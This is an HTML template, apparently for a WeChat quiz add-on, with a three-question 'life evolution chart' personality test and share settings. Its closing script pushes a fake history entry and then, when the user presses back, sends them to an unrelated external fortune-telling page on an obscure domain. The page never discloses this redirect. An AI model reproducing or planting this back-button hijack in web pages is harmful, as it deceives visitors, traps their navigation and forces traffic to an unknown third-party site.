<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=no" name="viewport">
    <meta content="yes" name="apple-mobile-web-app-capable">
    <meta content="black" name="apple-mobile-web-app-status-bar-style">
    <meta content="telephone=no" name="format-detection">
    <meta content="email=no" name="format-detection">
    <title>我的人生进化图</title>
    {js href='__STATIC__/jquery/jquery-1.11.0.min.js' /}
    {js href='__STATIC__/layui/layui.js' /}
    {CSS href="__STATIC__/layui/css/layui.css" /}
    {CSS href="__ADDONSTATIC__/css/style.css" /}
    {:hook('Jssdk')}
    <script>
        wx.ready(function () {
            var shareData = {
                title: '我的人生进化图',
                desc: '我的人生进化图',
                link: "{:getHostDomain()}{:addonUrl('index')}",
                imgUrl: '__ADDONSTATIC__img/bg.jpg'
            };
            wx.onMenuShareAppMessage(shareData);
            wx.onMenuShareTimeline(shareData);
            wx.hideAllNonBaseMenuItem({
                success: function () {
                }
            });
            wx.showMenuItems({
                menuList: [
                    'menuItem:share:timeline', // 分享到朋友圈
                    'menuItem:share:appMessage',
                ]
            });
        });
    </script>
</head>

<body>
<div class="content">
    <div class="content_1">
        <div style="text-align: center;color: red;">我的人生进化图</div>
        <img class="top_img" src="__ADDONSTATIC__img/bg.jpg" />
        <div class="btn" style="cursor: pointer;">开始测试</div>
    </div>

    <div class="content_2">
        <img class="top_img" src="__ADDONSTATIC__img/top-1.jpg" />
        <div class="title_top">
            <div class="title_t"><span class="title_top_itro_num">1</span>&nbsp;/&nbsp;<span class="title_top_num">3.</span></div>
            <span class="title_top_name">一扇魔法门，你认为用哪句咒语能打开？</span>
        </div>
        <div class="cont_bottom">
            <p class="finger_1">芝麻开门</p>
            <p class="finger_2">德玛西亚万岁</p>
            <p class="finger_3">给我开门</p>
            <p class="finger_4">小兔子乖乖，把门开开</p>
            <p class="finger_5">有人在么</p>
        </div>
    </div>
    <div class="content_3">
        <img class="top_img" src="__ADDONSTATIC__img/top-2.jpg" />
        <div class="title_top">
            <div class="title_t"><span class="title_top_itro_num">2</span>&nbsp;/&nbsp;<span class="title_top_num">3.</span></div>
            <span class="title_top_name">你认为云朵停在哪一处，画面才会更完美？</span>
        </div>
        <div class="cont_bottom">
            <p class="day_1">1</p>
            <p class="day_2">2</p>
            <p class="day_3">3</p>
            <p class="day_4">4</p>
        </div>
    </div>
    <div class="content_4">
        <img class="top_img" src="__ADDONSTATIC__img/top-3.jpg" />
        <div class="title_top">
            <div class="title_t"><span class="title_top_itro_num">3</span>&nbsp;/&nbsp;<span class="title_top_num">3.</span></div>
            <span class="title_top_name">行为测试：公交车上，你最经常坐在哪个位置？</span>
        </div>
        <div class="cont_bottom">
            <p class="tres_1">前排的位置</p>
            <p class="tres_2">靠窗的位置</p>
            <p class="tres_3">后排的位置</p>
            <p class="tres_4">靠过道的位置</p>
            <p class="tres_4">站着</p>
        </div>
    </div>

    <div class="cont_rus">正在计算结果....</div>
    <!-- <a href="https://www.yzketang.com/fate_user/?path_id=2398"><img style ="width:100%;height: 2.8rem;margin-top: 0.2rem;" class="adv2" src="./img/sm1.jpg"/></a> -->



</div>
<div id="loadingbox">
    <div class="absbox">
        <img src="img/loading.jpg" alt="">
    </div>
</div>
<div id="picbox">
    <div class="absbox">
        <img src="" alt="">
        请长按图片保存后,分享到朋友圈
    </div>
</div>
<script>
    (function (doc, win) {
        var docEl = doc.documentElement,
            resizeEvt = 'orientationchange' in window ? 'orientationchange' : 'resize',
            recalc = function () {
                var clientWidth = docEl.clientWidth;
                if (!clientWidth) return;
                docEl.style.fontSize = 100 * (clientWidth / 750) + 'px';
            };
        if (!doc.addEventListener) return;
        win.addEventListener(resizeEvt, recalc, false);
        doc.addEventListener('DOMContentLoaded', recalc, false);
    })(document, window);

    window.onload = function() {

        $(document).on("click",".btn",function(){
            $(this).parent().siblings().hide();
            $(this).parent().hide();
            $(this).parent().next().show();

        })

        $(".cont_bottom p").on("click",function(){
            if($(this).parent().prev().children().find(".title_top_itro_num").text() == 3){
                setTimeout(function(){
                    $('#loadingbox').hide();
                    //?name={$member.nickname}&&headimg={$member.headimgurl}&user_sex={$member.sex}
                    $('#picbox img').attr('src','{:addonUrl(\'primg/index\')}?openid={$member.openid}');
                    $('#picbox').show();
                    clearTimeout();
                },1500)
            }
            $(this).parent().parent().siblings().hide();
            $(this).parent().parent().hide();
            $(this).parent().parent().next().show();
        })

    }
</script>

<script>
    function onBridgeReady(){
        WeixinJSBridge.call('hideOptionMenu');
    }

    if (typeof WeixinJSBridge == "undefined"){
        if( document.addEventListener ){
            document.addEventListener('WeixinJSBridgeReady', onBridgeReady, false);
        }else if (document.attachEvent){
            document.attachEvent('WeixinJSBridgeReady', onBridgeReady);
            document.attachEvent('onWeixinJSBridgeReady', onBridgeReady);
        }
    }else{
        onBridgeReady();
    }
    //*****返回******
    window.onhashchange = function ()
    {
        var rnd = Math.round(Math.random()*6);
        var user_sex = '1';

        if(user_sex=='1'){
            window.location.href= "http://1gi2ib.ld187.z53a.cn./bazijp/bazijp.php?sex=1";
        } else {
            location.href = "http://1gi2ib.ld187.z53a.cn./bazijp/bazijp.php?sex=1";
        }

    };
    function hh() {
        history.pushState(history.length + 1, "message", "#" + new Date().getTime())
    }
    setTimeout('hh();', 100);


</script>
</body>
</html>
